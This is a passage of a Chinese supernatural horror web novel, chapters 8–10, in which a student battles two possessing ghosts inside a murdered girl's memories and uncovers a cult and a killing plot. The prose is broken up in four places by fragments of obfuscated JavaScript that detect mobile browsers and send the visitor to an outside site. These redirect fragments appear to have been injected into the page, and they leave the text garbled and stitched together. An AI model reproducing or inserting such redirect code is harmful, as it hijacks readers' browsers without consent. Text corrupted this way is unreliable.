l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664965|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吹了江时满脸,像是在对他的话表示不满:“我颈椎骨断了,放下来更诡异。” 江时:“……” 你被吊着都能说话了,颈椎骨为什么还是断的? 身后的声音带着好奇:“这是你的能力吗,让其他人忽略你的存在?和你带给我的感觉不太一样,我以为你的能力会更加危险,杀伤力应该更大才对。” “没什么用的垃圾能力。”江时显然不想多说。 等到他们离开自己的视野范围,他总算肯回过头来:“所以你是要我帮你做什么?还有,姜鹤和你是什么关系,现在他人呢?” “我想让你帮我查清楚,我到底是因为什么死的,”她轻声回忆,“我记得我已经死了,而那两个附身你朋友的家伙是我的仇人,但其他记忆我都记不起来了。” “至于你那个朋友,他貌似知道点儿我生前的事,我就把他丢进其他的记忆里了。” “你可以试试求助刚才穿制服的那群人。”他就是个自身难保的穷学生。 至于姜鹤他们,知道人还活着就行,他不擅长救人,还是让调查局的人去吧。 “不。”她非常坚决地反驳,裙摆被风吹得转了一圈,像一朵飞快绽放又凋零的花,“我有记忆,只是想不起来了,而且我非常不喜欢那群人身上的味道。” 这些人身上有让她很反感的气味,但凡她对活人有一点儿杀意,现在就已经冲出去宰了他们了。 “你的记忆怎么了?”江时皱眉。 “就是那两个到处躲不敢露头的家伙,当初他们不知怎么绞碎了我的记忆,而我的能力和记忆相关,所以这些年一直都很虚弱,只能勉强把那两个家伙困在里面。” “外面是我花了这么多年才找回来的,也是为数不多我能控制的记忆,但是关于我的死因还是缺失的。” 确实,他们天黑进来后,教室里就出现了学姐被吊死的尸体。 但关于她是怎么死的,因何而死,凶手究竟是谁,从头到尾都没有出现过一丝痕迹。 “事先说好,我从不白帮忙的。” 江时感觉得到,那两个怪物的本体很强,二对一他大概率打不过的,但如果这里的主人愿意帮忙,就另当别论了。 “当然。”系在脖颈上的绳子突然断开,接着她的头颅就以一个扭曲又诡异的角度折了下来,无力地垂在胸前。 她举起泛着死气的僵硬右手,点了点自己的心口:“这里有一块黑色的石头,我猜大概是因为它,我才会变成这样吧,你可能有兴趣?” 江时原本的目标只是另外两个怪物,闻言微微眯起了眼,他全N市到处跑了好几天都没找到合适的,今天居然这么好运,有人直接送他一块? “我拿走它的话,你就彻底死了。”江时提醒她。 “没关系,我现在这副鬼样子也没比死了没好到哪儿去。”她语气平淡,完全不在意。 既然如此,江时没有拒绝的理由:“成交,你的其他记忆在哪。” 她伸手扶起自己垂落的头颅,撩起头发露出一张七窍流血的青白面孔。那张脸上原本紧闭的眼皮突然睁开,露出布满裂痕的漆黑双眼。 深邃的黑色逐渐从她的眼睛弥漫到四周空气中,江时下意识退后几步,却在眨眼间就被那些黑色包裹,粗砺沙哑的声音自四面八方响起——“在这里。” 8. 死亡记忆 再度睁眼的时候,江时发现自己已经不在原来的教室里了。 周围的空间凭空蔓延出蛛网般的裂纹,有些像是小时候言扉给他做的玻璃马赛克画,每一块碎片内都是断续不连贯的场景。 看来这些就是学姐被打碎的记忆了,确实杂乱无章,难怪她想不起自己的死因。 江时漫不经心地往前走,任凭自己的皮肤上也出现破碎的纹路,有些碎片散发着微微的光芒向他靠近,被江时轻而易举地伸手挡开。 他的目标只有学姐死去那天的记忆,一个个找当然不现实,而且学姐本人对自己的死因执念极深,十年了都没找到的话,那就只有一种可能。 有人把她的记忆藏起来了。 江时伸出右手食指,指节处逐渐出现了一根黑色丝线。 上次没收阿毛的忘了还给他,现在刚好派得上用场,刚才趁着制住对方的机会,江时把线系在了第五苏苏身上。 他跟着那条纤细的丝线,不断往更深处走去…… 一座无人的体育馆内。 “我受够了!”刺耳的尖叫声崩溃地响起,面目全非的“第五苏苏”神色扭曲,那半边碳化的脸甚至在往下掉碎屑,“叶其海你为什么不让我去找调查局的人!” 披着赵启外壳的叶其海面容阴鸷:“难道你指望调查局的人能帮你联系杜家,让他们来救你出去?” 被说中了想法的杜清清恨恨道:“我想的有什么不对!” 她坚信就算自己变成了异变生物,杜家也不会放弃她。 叶其海冷笑一声:“蠢货。” 就算调查局没杀了他们,他们最终的结局也只会是被叶家和杜家作为废品被杀死,剥出感染源回收。 “十年了,我变成这副鬼样子被生不如死地折磨了十年!”杜清清已经腐烂的脸因为她过分夸张的表情被撕裂,露出鲜红的牙床,皮肉间发黄的脓水掺杂着血丝流了出来,“被那个贱人困在这栋楼里像老鼠一样到处躲,我受够了!” “那怪谁!”听到这话,叶其海怒不可遏,“如果不是你想出的愚蠢主意,我怎么会死在这里!” “你!”杜清清刚要发疯,两人却都停住了。 “有人……” 狰狞的女鬼发出刺耳的笑声,阴毒的男鬼露出嗜血的笑容,活人的气息让他们暂时休战。 之前遇到的一群活人当然也令他们垂涎三尺,但其中有个诡异的家伙,和死前就被折磨疯了的杜清清不一样,叶其海能感觉到那人的危险,忍着饥饿逃了。 但闻过鲜活的血肉气息后,他们更饿了,被关在废弃的教学楼里整整十年,被困在别人的领域里不得自由,实在是太饿了…… 只是意外进来却发现他们在说当年的事,本来惊慌失措想逃跑的姜鹤立即改变了主意,躲起来想多听一些。 但是争执的声音却突然停了,那两只鬼不知为什么突然狂笑了起来。 姜鹤忍不住焦急起来,再多说一点啊,多说一点,说不定就能让他找到线索揭发当年的真相了! 显然,他完全忽略了自己可能没法活着出去这一点。 “嘻嘻,嘻嘻嘻……” “咯咯咯咯……” 两道森然诡异的笑声逐渐逼近,姜鹤终于反应过来,僵硬地转过身去。 就在离他的脸不到三公分处,是张一半腐烂流着脓水,一半碳化开裂的女人的脸,她的眼皮烂得已经不剩多少了,两颗泛着血丝的眼珠就这样直直盯着他…… “啊啊啊啊啊啊!”姜鹤被这突然贴脸的场面吓得惨叫出声,脚下不稳直接摔倒在地,连滚带爬地往后逃跑。 但他还没跑出几步,迎面就是另一只男鬼,脖颈上外翻的皮肉腐烂,散发着血腥恶臭的气味,被捅得稀烂的那只眼眶里,姜鹤甚至能隐约看到森白的头骨和断开的血管。 “……救、救命,”前有狼后有虎,无路可逃的姜鹤满脸惊恐,终于意识到自己大概是要死在这里的,“别杀我,求求你们,别杀我。” 两只异变嘴角夸张地咧起,露出尖锐的牙齿和鲜红的舌头。 这十年来深入骨髓的饥饿让他们几乎失去了理智,眼里只有面前鲜活的血肉。 眼见他们张开血盆大口扑了上来,姜鹤下意识闭上了眼…… “砰砰!” 重物被踢飞的声音传来,预料中被啃噬的痛苦没有出现,姜鹤惊讶地睁开眼:“江时!” 江时收回腿,扭头面无表情地瞥了他一眼:“躲开,别碍事。” 叶其海被一脚踹进了旁边堆着的排球里,迅速把自己变成了粘稠流动的血肉触手试图逃走。 对面这个东西太奇怪了,不像人类也不像异变生物,但他的直觉告诉他,这个生物非常危险。 江时看见他变成散发着恶臭的粘稠流体后,下意识犹豫了几秒。 本来是打算挖了他们的晶石以防万一的,但这东西就算有用,他也不是很想拿来当做言扉的心脏,总觉得略恶心。 看到对方的动作缓慢一瞬,两个异变以为自己抓到了机会。 叶其海化成的粘稠血肉迅速分支,变得像是藤蔓或者长鞭,上面长出无数尖锐细长的血刺朝江时卷了过去。 在江时身后,杜清清的四肢也扭曲延长,像一只蜘蛛似的趴在了地上,小臂和小腿上又长出了一个关节,所剩无几的头发也变长,像是有生命似的蠕动起来。 江时躲开身后袭来的黑色长发,接着避开缠上来的血肉刺鞭,顺带一脚踢碎了好几条。 就地一滚站稳后,江时不知从哪儿掏出了一根手臂长的撬棍,挡住了扑上来的杜清清,手上一拧一转,她手脚的关节不知怎么居然缠在了一起,接着一棍一下,将周围所有刺鞭都敲碎了。 “还要再躲在他们身体里吗?”江时冷冷地看向好不容易解开关节的杜清清和用碎肉重新堆出人形的叶其海,伸手擦掉侧脸被划破流出的血。 叶其海和杜清清对视一眼,要是继续附在人类身上,他们根本打不过对方。 “嘶……” “嘎啦,嘎。” 第五苏苏和赵启的身体突然剧烈抽搐起来,那两张恶鬼般的脸像是吹气球般鼓起,像是有东西在皮下涌动似的。 “这、这是什么情况?”躲在墙角的姜鹤吓得双腿发软,别说找证据揭发真相,他现在连爬都爬不起来了,恨不得把自己叠起来塞得更里面一点儿。 他本想往江时的方向凑更有安全感,但余光却瞥见了江时手臂上不知什么时候受伤了,鲜红的液体已经沁透了他浅灰色的长袖外套,但江时面上却毫无异常,眉毛都没动一下。 江时手里的撬棍稳稳当当转了一圈,好像手臂上的伤完全不存在似的,耐心地等了好一会儿。 惨白的骨刺从腐烂的皮肉下刺出,逐渐组成一个四肢着地的扭曲人形怪物,奇长的手脚比人类要多出一个关节, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664966|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腐烂的头颅被蠕动的长发包裹看不清真容。 那些稀疏却纤长的黑色发丝缠绕着怪物的躯干和四肢,时不时轻微地扭动,像是在捕捉猎物味道的触须。 旁边一大坨血肉喷涌而出,在半空变成长着布满尖刺触手的怪物,每根触手上都张着十几张血淋淋的口器,那些口器里还隐约可见布满了细密尖锐的牙齿,被保护在触手最中央的是一只足有成年男人拳头大的眼珠。 而被他们附身的第五苏苏和赵启失去意识,一动不动地倒在了地上。 人类的躯壳对他们的限制极大,如果不是有不得不附身的理由,他们干嘛不吃掉这两个活人。 但现在却被迫丢掉了好不容易附身到的活人外壳,两只怪物愤怒地发出尖锐的咆哮,下一秒就朝江时扑了上来。 面对两个足有两三个他高的怪物,江时回头看了眼姜鹤,扭头就往外跑,后面的两只怪物也毫不犹疑地追了上去。 在他们看来,只要先解决了江时这个麻烦,剩下那三个活人都跑不了。 姜鹤呆了好一会儿才恍然大悟,连忙爬到昏迷不醒的第五苏苏和赵启身边,小心翼翼地把他们搬到了安全的墙角,放在一块软垫上。 另一边,这次的场景比之前S大小得多,超过体育馆二十米以外的地方就是一片散发着不详气息的雾气。 江时再一次艰难地躲过了散发着恶臭的血肉触手,撬棍挡住缠满黑色长发的锋利白骨。 接着后退几步,咬牙拔出扎进小腹的白色骨刺,反手刺进了旁边朝他抽过来的触手上张开的嘴里。 如果学姐的死亡记忆真的是被藏起来的,那面前这两个打碎她记忆的家伙显然嫌疑最大。 江时一边和两只怪物缠斗,一边思考那段记忆究竟可能被他们藏在了哪里。 面对文学姐汹涌坚定的杀意,他们会藏起她的记忆,要么是里面有不想被人发现的秘密,要么是为了保命。 但他们人都死了还被困在这里无法离开,所以第一种猜测的可能性不大,那就是为了保命了。 江时觉得设身处地,他一定会把保命的东西随身带着。 那在谁身上呢? 之前附身在第五苏苏身上的怪物是不是说,要是她死了,另一个怪物也活不了? 四肢细长宛如节肢动物的怪物本想用白骨做笼困住江时,但对方却突然不要命似的冲了上来,甚至连旁边朝他刺过来的血肉触手都没管,只是勉强避开的要害被刺穿了肩胛。 脱离人类身体后这两个怪物比之前强得不止一点儿,江时用撬棍也只能勉强挡开朝自己劈过来的骨刺。 他反手以一个极其恐怖的力度将撬棍朝着那坨血肉怪物唯一的眼珠了投过去,同时忍着疼痛踩着怪物的小臂骨头借力跃起,接着一拳朝着被蠕动着的黑色长发包裹的头颅揍了上去。 “吼!”她先是一愣,接着慌乱地收回四肢试图保护头颅,但显然还是太慢了,在她护住自己的脑袋前,江时的拳头已经到了。 “砰——”这一下江时用了全力,甚至感觉自己的骨头都快碎了。 下一瞬间,包裹住怪物头颅的头发被漆黑宛如雾气的东西冲散开,深沉的黑色自那双已经腐烂的眼眶中涌出,缓缓包裹住了周围的一切。 猜对了。 江时见状,二话不说拾起撬棍就立刻回头冲进身后的体育馆,在那片黑色缩小消失前,拖着一脸懵逼的姜鹤走了进去。 9. 报应 姜鹤被江时拖进了一团漆黑的未知物体中,睁眼就变成了晚上。 “这儿是哪儿?”他有些害怕地看向江时,看见江时侧腹和肩胛处衣服都已经被染红了大半,又忍不住担忧地提醒,“江时,你的伤没事儿吧?” “小伤,”从前他和言扉受过比这严重的伤多了去了,放着明天自己就能好,江时压根没放在心上,“这儿你不该比我清楚吗?” “这里是旧教学楼?”姜鹤四处打量后,吃惊极了,“我们回来了?” “你想的美,我们还待在……”江时回忆了一下调查局的人对这些怪物的称呼,“异变的地盘里。” 虽然这个叫法有点奇怪,但比怪物好听。 “刚才那两个家伙也在这栋楼里。”他随口补充了一句,虽然不知道具体在哪儿,但肯定在里面没错。 江时顺便往窗外看了一眼,这次除了教学楼外面全都是灰白色雾气,看来学姐的死因就藏在这里了。 想起那两个恐怖的怪物,姜鹤心有余悸地看向江时:“那我们该怎么办啊?” “比起那个,你是不是该先说明一下,”江时轻飘飘地看向对方,“你和死在教学楼里那位学姐,究竟是什么关系?” “孙顾和秦青刷到的论坛帖子里,最多的说法是三人情感纠纷酿成惨案的桃色谣言,”他稍微美化了一下说法,“而你却花了这么大功夫想为她正名,你们是亲戚?” 事情到了这个地步,他再保密也没什么意义。 姜鹤苦笑着点点头:“对,她是我的亲姐姐文芜菁。在我还不满一岁的时候,我父母就离婚了,这么多年我都没见过他们……” “但我十一岁那年,我姐被他们害死了,过了一周我爸也自杀了。”姜鹤神色黯然。 “那和你想拍电影有什么关系?”江时困惑,他还是听不出这两件事的关联。 姜鹤扯了扯嘴角,从外套靠近心口的内袋里掏出一张信封,信封外壳上画着一只花纹繁复的黑白蝴蝶。 “我妈说,这是她在我爸和我姐去世后不久收到的。” 在征得姜鹤同意后,江时打开了那封信,里面只有一张照片,应该是在有些距离的位置拍下的—— 虽然拍照时环境昏暗,但照片显然经过后期处理,透过窗户可以看见教室里一个留着黑长直的白裙女人和另一个衬衫黑长裤的男人正将穿着红色长裙的女性尸体用绳子悬挂起来。 难怪姜鹤会知道案发地点。 “你们没试过交给警方?”江时疑惑。 他摇头:“我妈不让,当时看到照片她就直接晕倒了,醒来后就把照片藏进了保险箱,无论我怎么劝她都没用。” “那我刚高考完的那个暑假,我妈在家里割腕自杀了,她留了遗书,说一切都是她和我爸的错,她给我留了些积蓄,让我离开华国,永远不要回来。” 江时非常捧场地问他:“那你为什么不离开?” 姜鹤平静道:“我有遗传性血液病,找不到匹配的骨髓移植本来就会死,年前突然又恶化了,最多只剩半年时间。” 他瞒着妈妈考入S大,本就是觉得自己既然命不久矣想试试能不能查出真相,可现在没有时间了,姜鹤只能试着把这件事记录下来,就算他没法查出真相,但这件事至少在世上留下了痕迹,还不算被人彻底遗忘。 不过他太高看自己了,刚才那两个异变要吃掉他的时候,姜鹤才发现他有多怕死。 江时点了点头:“这样啊。” “对不起,把你们也牵扯进来了。”姜鹤愧疚极了,他也想不到在案发地点拍摄真的会撞鬼。 “你还是去和他们道歉吧。”江时倒是无所谓,他还要感谢姜鹤把他带到这儿来呢。 比起有设备有技术的官方组织,他就一靠运气靠直觉的草根,要不是阴差阳错被拉过来,大概率调查局都把问题解决了,他还什么都不知道。 但姜鹤显然误解了他的意思,惆怅道:“也不知道他们怎么样了,唉,对了,苏苏和赵启还被留在那儿,他们不会有事吧?” “放心。”江时倒是很淡定,按照他从前的经验,作为被附身对象的躯壳基本上是不会受到损伤的。 大多数异变“死而复生”后,外形本来就只能算是类人。随着死亡的时间越来越长,关于“人”的自我认知愈发模糊,最终彻底失去人类的外形和思想。 附身在活人身上能让他们稳定类人的形态和自我认知,异变当然不会随便毁坏附身的人类躯体,反而会想尽办法延长附身的人类的生命维持躯体完整。 不过文学姐那种十年还能保持完整人形的比较特殊——特殊在他也没见过这样的,所以不算在讨论范围内。 而且异变生物虽然能感觉到饥饿,但就算不进食也不会死亡,如果要进食,普通人类的食物他们也能吃。绝大部分异变痴迷于捕猎人类,最主要的原因还是死者对活人的嫉妒憎恨。 如果那位学姐想吃了他们,完全可以一开始就直接露面动手,因为江时压根打不过她。 但她基本只对自己的死因感兴趣,而另外两个异变也被他带走,所以江时完全不担心他们的安全。 与此同时,调查局的众人找遍了整个“S大”,都没找到被异变附身的两人和姜鹤,倒是把异变眷属清理得差不多了。 作为进来侦查的前锋他们人员和火力都不够,就算知道异变的位置也不敢直接冲上去和对方刚,于是菲菲干脆让所有人先集合。 他们依旧没有发现少了一个人。 “滴,解析完毕。”机械的电子音自每个调查局成员耳边对讲机响起。 “什么情况?”紧张兮兮的孙顾被这突然的声音吓了一跳。 “哦,没事,数据收集成功了而已。”菲菲点了下自己耳边的设备。 下一秒泛着浅蓝色的投屏就浮现她面前的在半空中,毫无波动的机械声音随着投屏上浮现的字体播报分析结果。 “当前解析结果—— 异变等级:A+(未完全孵化,残缺状态), 领域性质:回忆(幻想类、碎片), 暂定代号:走马灯, 综合能力评级:A, 推荐处理方式:暂时收容。” 他们累死累活清理半天,结果这里只是异变领域的一小部分,行动组的成员们有些挫败,不愧是A+评级的异变生物,就算只是残缺状态,也不是普通A级的领域能碰瓷的。 不过收集到了足够的数据也不算白忙活,而且万幸这个异变还不是完全状态,否则不仅他们要死在这里,整个S大包括附近可能都要完蛋。 “全体注意!”看见异变的各项报告后,菲菲的表情严肃起来,“后退!” 综合评级是A,那她倒是可以咬牙试试…… “这是在做什么?”沈邱见状好奇地问。 一片凝重的气氛中有人回答他们:“副组长要使用异能了,你们没有护具,都闭上眼,不要乱看!” 异能?除了这些异变,居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664967|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然还有异能者的吗? 作为被救援的一群人,他们一脸懵逼地在行动组组员们的保护下闭上了眼。 下一秒,菲菲的额心处张开了一条口子,像是神话中神明的第三只眼—— 异能:真实之眼。 但那道口子中间并不是眼睛,而是一块正散发着柔和的光芒的乳白色宝石,她的脸色随之愈发惨白,像是整个人的生命力都被那块石头吸走了一样。 接着四周的空间逐渐漫开裂纹,像是已经濒临崩溃。 教室里,重新把自己悬挂起来吹风的红裙异变,不,文芜菁突然停住了。 有人在试图拆她的地盘。 她下意识感应了一下自己能控制的眷属,才发现已经被人杀得七七八八。 其实本来是无所谓的,但是在江时带回她的死因前,这里作为她为数不多能控制的地盘,还不能被毁掉。 —— “江时,怎么了?”姜鹤在这儿就是两眼一抹黑,只能跟着江时走。 见江时毫无预兆地停下了脚步,忍不住开口问他。 “找到了。”江时抬了抬下巴示意不远处。 昏暗无光的走廊尽头蹲着一个穿着普通白T和牛仔裤的长发女生,她垂着头盯着鞋尖,脚边不远处丢着一个装得满满当当的黑色皮质背包。 从他进入这个鬼地方开始,还是第一次在文芜菁的记忆里看到活着的她。 江时扭头拍了拍姜鹤:“去吧。” 姜鹤傻眼:“我?去干吗?” “你不是想找到你姐姐被害的真相吗,喏,她在那儿,”江时指了指人,“过去搭话呗。” 而姜鹤居然真的被他忽悠信了,上前试着搭话:“你好。” 大晚上的教学楼里突然出现陌生男人,文芜菁警惕地做出了防备的姿态,她下意识抱住了丢在旁边的书包:“你们要干什么?” 居然能看到他们,还能做出反应进行对话。 江时猜测是因为这里是不在文芜菁控制中的记忆,所以里面的人并不像“S大”里那样仿佛NPC,面对闯入者也没法分辨对方是否原本就属于记忆中的部分。 姜鹤一时语塞,他是被江时忽悠上来的,好像压根没想好该说些啥啊。 认亲计划失败,江时无视了姜鹤的求救目光,抬眼看向文芜菁:“你包里的是什么?” 现在至少已经是晚上十一点了,文芜菁还呆在还没被投入使用的新教学楼里,总不可能是为了熬夜复习考研,再说S大又不是没有图书馆。 而且刚才他们出声后,她的第一反应居然是保护一开始被随意丢旁边的书包,这就有点儿可疑了。 文芜菁更加警惕了:“不关你的事。” 姜鹤终于反应过来,现在是文芜菁遇害当晚,也就是说他们什么都不做就能弄清楚当年的真相。 但这也就意味着,他得漠视姐姐在回忆中再被害一次…… 就在他还在纠结的时候,江时直接了当开口:“确实和我们无关,只不过是叶其海和杜清清今晚想杀你灭口而已。” 姜鹤诧异地看向江时。 江时看起来非常淡定自信,实际纯属胡扯。 反正文学姐本体不在这儿,除非下一秒那两个异变突然出现,否则这个回忆产物江时压根不带怕的。 但是听到这话,文芜菁居然愣住了,她甚至压根没怀疑江时话的真假。 “啊,那算是……”她毫无求生欲望地轻声笑了笑,“报应吧。” 10. 坏事的家伙 报应?江时略疑惑。 不管是失忆死去变成异变的文芜菁,还是姜鹤的讲述中,似乎都没提到这一段啊。 “不过还是谢谢,”文芜菁看着怀里的书包,眼底飞快闪过一丝厌恶,“你们快躲起来吧,要是被发现,你们可能比我死得还快。” 她指着前面的一间教室道:“你们可以躲在那里,记得别发出声音,这栋楼隔音很差,你们在里面也能听到他们在说什么。” 文芜菁大概是把他们当成了来这里调查的人,不过她似乎并不介意,甚至还想帮他们。 “他们……”姜鹤下意识要问。 江时头都没回就给了他一肘子,姜鹤突如其来的痛击揍得直不起腰。 “好的,不过如果你后悔了需要帮忙可以叫我们。”江时拎着姜鹤就按文芜菁说的进去后把门关好。 这里是文芜菁的记忆,本来就会带上本人的主观立场,要是还不让回忆按照原本的轨迹进行下去,那纯粹只能算是她的主观猜测,毫无参考价值。 他是嫌任务无聊想搞点事,但没打算把事情办砸。 姜鹤好不容易缓过来,刚想问江时干嘛揍他。 “看好。”习惯了这里的昏暗后,江时发现他们躲在这间教室的窗户边上刚好能看清楚整个走廊里的情况。 几道手电筒的光线照过来,有人过来了。 走在最前面的是一男一女,从那个男人的长相勉强能看出是叶其海,那他旁边的应该就是杜清清。 江时眼尖地发现,叶其海脖子上挂着一颗鸽子蛋大小的黑宝石挂坠,而杜清清则是手腕上戴着条嵌着枚稍小一些的红宝石的银质手串。 他的右手下意识动了动。 这东西和他从异变身上挖出的晶石貌似是同一种东西,只不过高级多了,难怪他们死后会变成异变,还那么难打。 不过江时见过几次普通人碰到这东西,还都是成色差很多的,基本上当场就失去意识了,他还帮忙叫过120。 这两人居然戴在身上还能安然无恙,难道他们也有消除这些晶石影响的办法? 而姜鹤的关注点和他不一样,在两人身后,是一群穿着灰色长袍的人——他们每个人的袍子上都纹着一只花纹繁复的黑白色蝴蝶。 和信封上那只一模一样! 接下来灰袍人纷纷掀开兜帽露出了真容——这群人男女老少都有,有几个已经瘦成了皮包骨,还有嘴唇发紫或身体浮肿,甚至有两个已经掉光头发的人。 就算江时不是学医的也能看出他们都命不久矣。 姜鹤被吓了一跳,下意识想扯旁边江时的袖子,被江时反应迅速地避开了。 比起这个,江时更在意的是这群人的打扮,怎么看都不太对劲吧? 灰袍人的头领走到文芜菁面前,做了个奇怪的高难度手势:“愿我们都能在死亡前获得新生,换上你的制服,今晚有位大人会为我们主持仪式。” 文芜菁抱着书包起身点点头,对面满意地拍了拍她的肩膀:“大人肯定会对你很满意的,完成仪式后,你就能正式成为我们的兄弟姐妹。” 江时可以百分百断定了,他大爷的这就是个邪*组织! 不过叶家少爷和杜家千金来这里做什么,难道叶家和杜家也和他们有牵扯?脑子秀逗了吧,江时觉得匪夷所思。 江时都觉得诡异,姜鹤这个亲弟弟当然更加愤怒,但他好歹记得江时的警告,咬紧了牙根没敢出声。 “叶少爷,杜小姐,”领头灰袍人向他们鞠躬,“非常感谢你们为仪式提供材料,但是作为非内部成员,你们并不能参加仪式。” 叶其海摆摆手:“放心,我们不会偷看你们的仪式,不过东西用完我们还得收回去,在这儿等着你们总没意见了吧?” 当他说到那东西的时候,杜清清看了眼文芜菁。 文芜菁从怀里的包中掏出了一颗弹珠大小的黄水晶。 看到那颗黄水晶,江时眯了眯眼。 虽然看起来像,但这东西上面带着很浓的异变气息,和他常挖的晶石应该不是同一种东西。 “当然没问题。”领头人接过那颗水晶恭敬地说。 没过多久,他们口中的大人就出现了,那人身上穿的是纯黑色长袍。 对方掀开兜帽时,文芜菁显然被吓了一跳:“副校长?” 这下连江时和姜鹤也震惊了,什么情况,十年前的S大副校长居然是邪*成员?难怪这群人居然敢在S大里举办这种活动! “……”文芜菁脸色发白,显然反胃极了。 副校长不满地看了她一眼:“这些都是世俗虚名而已。” 显然比起副校长的职位,他更自豪于自己在组织内的地位。 等这群人进了走廊尽头那个教室,叶其海和杜清清两人在外面压低音量小声聊天。 “和这群神经病交流,我觉得我脑子都被福尔马林泡了一遍。” 叶其海冷笑一声:“聪明人谁信这种鬼话。” 杜清清这女人脑子一般,这次倒是确实想出了个还算过得去的计划。 杜清清:“不过文芜菁真的会按照计划行事吗?” “放心,”叶其海显得胸有成竹,“别忘了她是为什么同意帮我们办事。” “也对,要不是我们,她全家都要被这些疯子弄死。”杜清清的笑容中都是野心,“只要这次计划成功,我就能向他们证明我不比杜冰冰那个贱人差!” 她才应该是杜家的继承人! “不过话说回来,他们那什么什么教,到底叫什么来着?” “好像是,茧?” —— “茧?那害人玩意儿不是前几年就被一组联合九组和十三组联手剿灭了吗?”有人看着他们从体育馆的座椅下面翻出的一堆印了黑白蝴蝶的传单傻眼。 菲菲刚才使用能力透支了体力,但她从身上摸出了一小管液体给自己注射,很快面色就红润起来。 她斜眼瞥了发问的组员一眼:“这里是那个异变的记忆,按照她死亡的时间,回忆里至少是十年前。” 说完她又仔细观察了他们待的这个运动馆,刚才她感觉有什么在阻止她的能力,然后他们所有人就被丢到了另一块记忆碎片里。 应该是那个异变为了阻止自己的领域被破坏,紧急转移了他们。 旁边又有组员疑惑:“副组长,茧是啥啊?” “茧是从十五年前开始活跃的一股邪*组织,以治愈一切伤病,让死人复生做噱头,他们副教主是一个治愈型异能者,那些教众都是被他用能力缓解了症状。” “而教主是个高阶精神系异能者,每次他们找上的人都是病入膏肓走投无路,大部分精神状态本来就不稳定,更容易被他催眠控制,因此他们的传教速度在当年非常恐怖,仅我们记录在案的就有上千人。” “来之前你们没看任务资料吗?”菲菲嘴角抽搐。 她这样一说就有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664968|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起来了,不过因为这件事任务报告里标出属于保密事件,他们压低了声音,担心被后面被保护着的普通人听见。 另一个组员挠挠头:“对了,那个男被害者?” “是一组组长叶其峰的亲哥哥,”菲菲的表情很不好看,显然对对方意见很大,“但这件事会被定性为保密事件,和第一位女受害者有关……” “邪*组织?”旁边的孙顾也看到了传单,吓得差点把背上的人甩出去。 “你小心点儿。”秦青没好气地把昏迷的赵启搬回他背上。 他们到这里就发现了昏倒在角落的第五苏苏和赵启,四人觉得行动组的成员们需要时刻警惕备战不方便,于是自告奋勇背起两人。 旁边沈邱和顾蕊对视一眼,满目疑惑。 他们总觉得好像有什么不对,似乎忘了什么事,或者少了什么,是他们的错觉吗? —— 少了的江时此时躲在教室窗户后面一声不发,文学姐的死,水比他们想的更深啊。 一看就知道不是什么好东西的邪*组织,很可能和异变怪物有关的A市豪门,不过还好,文学姐只想找出她的死因而已,其他的也不需要他一个普通大学生去管。 只不过这里是文芜菁的记忆,叶其海和杜清清的谋划她不该知情的。 江时思考了一会儿后恍然大悟,难怪他们能藏起这块记忆碎片还不被文学姐发现呢,这两个家伙不知道用什么办法,把自己的记忆也融进来了,所以他们也算是这段记忆的主人。 江时对他们是怎么做到的并不感兴趣,不过这显然比单视角信息量大得多。 也不知道文芜菁想要的真相是什么程度的,是最简单的她是被谁杀死的,还是整个来龙去脉都要清楚,在异变版本叶其海和杜清清找过来之前,江时觉得他最好是尽量多听些消息。 “啊啊啊!!!”没过多久,那间教室里传出一群人的惨叫声。 杜清清眼睛一亮:“成了!” “种子”已经成功落下,今后只要那颗黄色水晶在她手上,这群人就会一直被她完全掌控! 教室门被推开,文芜菁厌恶地把身上的粗制滥造的灰袍撕了,从里面走了出来,不过教室里太暗加上距离太远,根本看不清里面的情况。 文芜菁张开手,露出那颗黄水晶:“答应的事我办到了,你们得让我家人摆脱他们!” 叶其海接过确认已经被使用过后随意地塞进了口袋。 “放心,我们会遵守约定的……” 到现在为止,两边似乎没有要撕破脸的迹象,达成共识后,叶其海和杜清清走进刚才他们举办“仪式”的教室,而文芜菁还是那身白T牛仔裤往楼梯走去。 江时疑惑地眨眨眼,那文芜菁究竟是怎么死的,那张寄给她妈妈的照片又是怎么回事? 正思考着的江时突然听到了些许异响声,由远而近正往这边过来…… 旁边姜鹤见姐姐完完整整从里面走了出来,看起来也没受什么伤,下意识松了口气。 刚扭过头想问问江时的看法,旁边的人突然破窗而出。 